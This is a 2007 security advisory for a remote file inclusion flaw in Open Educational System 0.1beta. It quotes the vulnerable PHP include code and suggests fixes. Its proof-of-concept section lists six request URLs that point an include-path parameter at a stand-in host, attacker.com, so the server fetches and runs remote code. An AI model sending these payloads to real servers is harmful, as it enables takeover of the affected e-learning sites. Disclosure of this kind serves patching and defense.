OES (Open Educational System) 0.1beta Remote File Inclusion Vuln

🗓️ 14 Mar 2007 00:00:00Reported by RootType
OES 0.1beta File Inclusion Vulnerability in Open Educational Syste

                                                ____________________&nbsp;&nbsp;&nbsp;___&nbsp;___&nbsp;________
\\_&nbsp;&nbsp;&nbsp;_____/\\_&nbsp;&nbsp;&nbsp;___&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;\\_____&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;__)_&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;&nbsp;&nbsp;&nbsp;~&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\\___&nbsp;&nbsp;&nbsp;&nbsp;Y&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;
/_______&nbsp;&nbsp;/&nbsp;\\______&nbsp;&nbsp;/\\___|_&nbsp;&nbsp;/\\_______&nbsp;&nbsp;/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.OR.ID
ECHO_ADV_69$2007

-----------------------------------------------------------------------------------------
[ECHO_ADV_69$2007]&nbsp;OES&nbsp;(Open&nbsp;Educational&nbsp;System)&nbsp;0.1beta&nbsp;Remote&nbsp;File&nbsp;Inclusion&nbsp;Vulnerability
-----------------------------------------------------------------------------------------

Author&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;M.Hasran&nbsp;Addahroni
Date&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;March,&nbsp;12th&nbsp;2007
Location&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;Australia,&nbsp;Sydney
Web&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://advisories.echo.or.id/adv/adv69-K-159-2007.txt
Critical&nbsp;Lvl&nbsp;&nbsp;&nbsp;:&nbsp;Dangerous
---------------------------------------------------------------------------

Affected&nbsp;software&nbsp;description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application&nbsp;&nbsp;&nbsp;:&nbsp;Open&nbsp;Educational&nbsp;System&nbsp;
version&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;0.1beta
Vendor&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://openeducation.sourceforge.net
Description&nbsp;:

OES&nbsp;(Open&nbsp;Educational&nbsp;System)&nbsp;which&nbsp;is&nbsp;a&nbsp;free&nbsp;for&nbsp;use,&nbsp;open&nbsp;source,&nbsp;and&nbsp;multi-platform,&nbsp;multi-language&nbsp;and&nbsp;user-friendy&nbsp;design&nbsp;online&nbsp;e-learning&nbsp;platform.
The&nbsp;system&nbsp;is&nbsp;integrate&nbsp;and&nbsp;suitable&nbsp;use&nbsp;for&nbsp;any&nbsp;high-school,&nbsp;college&nbsp;or&nbsp;university

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~
-&nbsp;Invalid&nbsp;include&nbsp;function&nbsp;at&nbsp;includes/lib-account.inc.php&nbsp;:&nbsp;&nbsp;
&nbsp;&nbsp;	
----------------includes/lib-account.inc.php-------------------
<?php
	//&nbsp;File&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;/include/lib-account.inc.php
	//
	//&nbsp;Description&nbsp;:&nbsp;This&nbsp;library&nbsp;is&nbsp;for&nbsp;administrator&nbsp;and&nbsp;normal&nbsp;user&nbsp;account&nbsp;mangement.


	//&nbsp;Include&nbsp;the&nbsp;configuration&nbsp;file.
	include_once&nbsp;(&nbsp;$CONF_CONFIG_PATH.\'/config.inc.php\'&nbsp;);

	//&nbsp;Include&nbsp;the&nbsp;main&nbsp;include&nbsp;file&nbsp;for&nbsp;running&nbsp;all&nbsp;routine.
	include_once&nbsp;(&nbsp;$CONF_INCLUDE_PATH.\'/library.inc.php\'&nbsp;);

	//&nbsp;Include&nbsp;the&nbsp;ADOdb&nbsp;Class
	include_once&nbsp;(&nbsp;$CONF_INCLUDE_PATH.\'/adodb/adodb.inc.php\');

...
----------------------------------------------------------------


Variables&nbsp;$CONF_INCLUDE_PATH&nbsp;is&nbsp;not&nbsp;properly&nbsp;sanitized.
When&nbsp;register_globals=on&nbsp;and&nbsp;allow_fopenurl=on&nbsp;an&nbsp;attacker&nbsp;can&nbsp;exploit&nbsp;this&nbsp;vulnerability&nbsp;with&nbsp;a&nbsp;simple&nbsp;php&nbsp;injection&nbsp;script.

also&nbsp;affected&nbsp;files&nbsp;:


includes/lib-file.inc.php
includes/lib-group.inc.php
includes/lib-log.inc.php
includes/lib-mydb.inc.php
includes/lib-template-mod.inc.php
includes/lib-themes.inc.php

Poc/Exploit:
~~~~~~~~~~

http://www.target.com/[OES_path]/includes/lib-account.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-group.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-log.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-mydb.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-template-mod.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-themes.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?


Solution:
~~~~~~~

-&nbsp;Sanitize&nbsp;variable&nbsp;$CONF_INCLUDE_PATH&nbsp;on&nbsp;affected&nbsp;files.
-&nbsp;Turn&nbsp;off&nbsp;register_globals

---------------------------------------------------------------------------

Shoutz:
~~~~~
~&nbsp;ping&nbsp;-&nbsp;my&nbsp;dearest&nbsp;wife,&nbsp;and&nbsp;my&nbsp;little&nbsp;son,&nbsp;for&nbsp;all&nbsp;the&nbsp;luv&nbsp;the&nbsp;tears&nbsp;n&nbsp;the&nbsp;breath
~&nbsp;y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative,&nbsp;str0ke&nbsp;(for&nbsp;the&nbsp;best&nbsp;comments)
~&nbsp;masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~&nbsp;SinChan,h4ntu,cow_1seng,sakitjiwa,&nbsp;m_beben,&nbsp;rizal,&nbsp;cR4SH3R,&nbsp;madkid,&nbsp;kuntua,&nbsp;stev_manado,&nbsp;nofry,&nbsp;x16
~&nbsp;[email protected]
~&nbsp;#aikmel&nbsp;#e-c-h-o&nbsp;@irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~~~

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;K-159&nbsp;||&nbsp;echo|staff&nbsp;||&nbsp;eufrato[at]gmail[dot]com
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Homepage:&nbsp;http://k-159.echo.or.id/

--------------------------------&nbsp;[&nbsp;EOF&nbsp;]&nbsp;----------------------------------

&nbsp;
14 Mar 2007 00:00Current
7.1High risk
Vulners AI Score7.1